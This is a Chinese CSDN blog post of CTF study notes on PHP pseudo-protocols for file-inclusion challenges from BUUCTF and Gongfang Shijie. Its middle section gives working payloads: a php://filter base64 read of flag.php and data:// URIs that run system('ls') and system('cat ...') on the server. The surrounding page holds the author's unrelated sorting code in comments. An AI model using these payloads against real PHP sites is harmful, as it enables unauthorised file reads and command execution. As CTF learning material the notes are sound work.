伪协议学习及习题（随更）

最新推荐文章于 2024-05-18 13:54:01 发布

Alegr1a

最新推荐文章于 2024-05-18 13:54:01 发布

阅读量223

点赞数 2

文章标签： php 开发语言

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/m0_66594701/article/details/125899934

版权

伪协议知识：php伪协议总结 - My_Dreams - 博客园

buuctf web include

点开tip后，url中含有flag，结合题目include，想到文件包含

payload:

php://filter/read=convert.base64-encode/resource=flag.php

php://filter/ 是一种访问本地文件的协议。

/read=convert.base64-encode/ 表示读取的方式是 base64 编码后。

resource=index.php 表示目标文件为index.php。

为什么要进行 base64 编码呢？如果不进行 base64 编码传入，index.php 就会直接执行，我们就看不到文件中的内容了。

文件包含学习：

ctf任意文件包含漏洞简单讲解含php伪协议及习题_伤心的小尾巴的博客-CSDN博客_ctf file php

攻防世界 Web_php_include

当过滤了php://的伪协议，我们可以使用data://伪协议

/?page=data://text/plain,<?php%20system("ls");%20?>

?page=data://text/plain,<?php%20system("cat%20fl4gisisish3r3.php")?>

参考：ctf-web：PHP伪协议 - 学安全的小白 - 博客园

关注

2
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
复制链接

分享到 QQ

分享到新浪微博

扫一扫

Alegr1a CSDN认证博客专家 CSDN认证企业博客

码龄3年

21: 原创

117万+: 周排名

6万+: 总排名

7192: 访问

: 等级

356: 积分

189: 粉丝

146: 获赞

14: 评论

108: 收藏

私信

关注

热门文章

分类专栏

C 2篇
数据可视化 5篇
python 6篇
php 1篇
那些回不去的CTF 2篇

最新评论

C语言循环结构（随更）
CSDN-Ada助手: Java 技能树或许可以帮到你：https://edu.csdn.net/skill/java?utm_source=AI_act_java
C语言循环结构（随更）
CSDN-Ada助手: 推荐 Java 技能树：https://edu.csdn.net/skill/java?utm_source=AI_act_java
Python练习
Alegr1a: import random import time problem_sizes = [1000, 10000, 100000, 1000000] for size in problem_sizes: # 生成随机排列 arr = [random.randint(1, size) for _ in range(size)] print(f"Size: {size}") # 起泡排序 start_time = time.time() comparison_count, move_count = bubble_sort(arr.copy()) end_time = time.time() print(f"Bubble Sort - Comparisons: {comparison_count}, Moves: {move_count}, Time: {end_time - start_time}s") # 快速排序 start_time = time.time() comparison_count, move_count = quick_sort_wrapper(arr.copy()) end_time = time.time() print(f"Quick Sort - Comparisons: {comparison_count}, Moves: {move_count}, Time: {end_time - start_time}s")
Python练习
Alegr1a: def quick_sort(arr, start, end): if start >= end: return 0, 0 # No comparison or move is done pivot = arr[start] low = start + 1 high = end comparison_count = 0 move_count = 0 while True: while low <= high and arr[high] >= pivot: high = high - 1 comparison_count += 1 while low <= high and arr[low] <= pivot: low = low + 1 comparison_count += 1 if low <= high: arr[low], arr[high] = arr[high], arr[low] move_count += 1 else: break arr[start], arr[high] = arr[high], arr[start] move_count += 1 comparison_left, move_left = quick_sort(arr, start, high-1) comparison_right, move_right = quick_sort(arr, low, end) return comparison_count + comparison_left + comparison_right, move_count + move_left + move_right def quick_sort_wrapper(arr): return quick_sort(arr, 0, len(arr) - 1) 快速排序
Python练习
Alegr1a: def bubble_sort(arr): n = len(arr) comparison_count = 0 move_count = 0 for i in range(n): for j in range(0, n-i-1): comparison_count += 1 if arr[j] > arr[j+1]: arr[j], arr[j+1] = arr[j+1], arr[j] move_count += 1 return comparison_count, move_count

大家在看

最新文章

目录

评论

被折叠的条评论为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

成就一亿技术人!

hope_wisdom

发出的红包

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。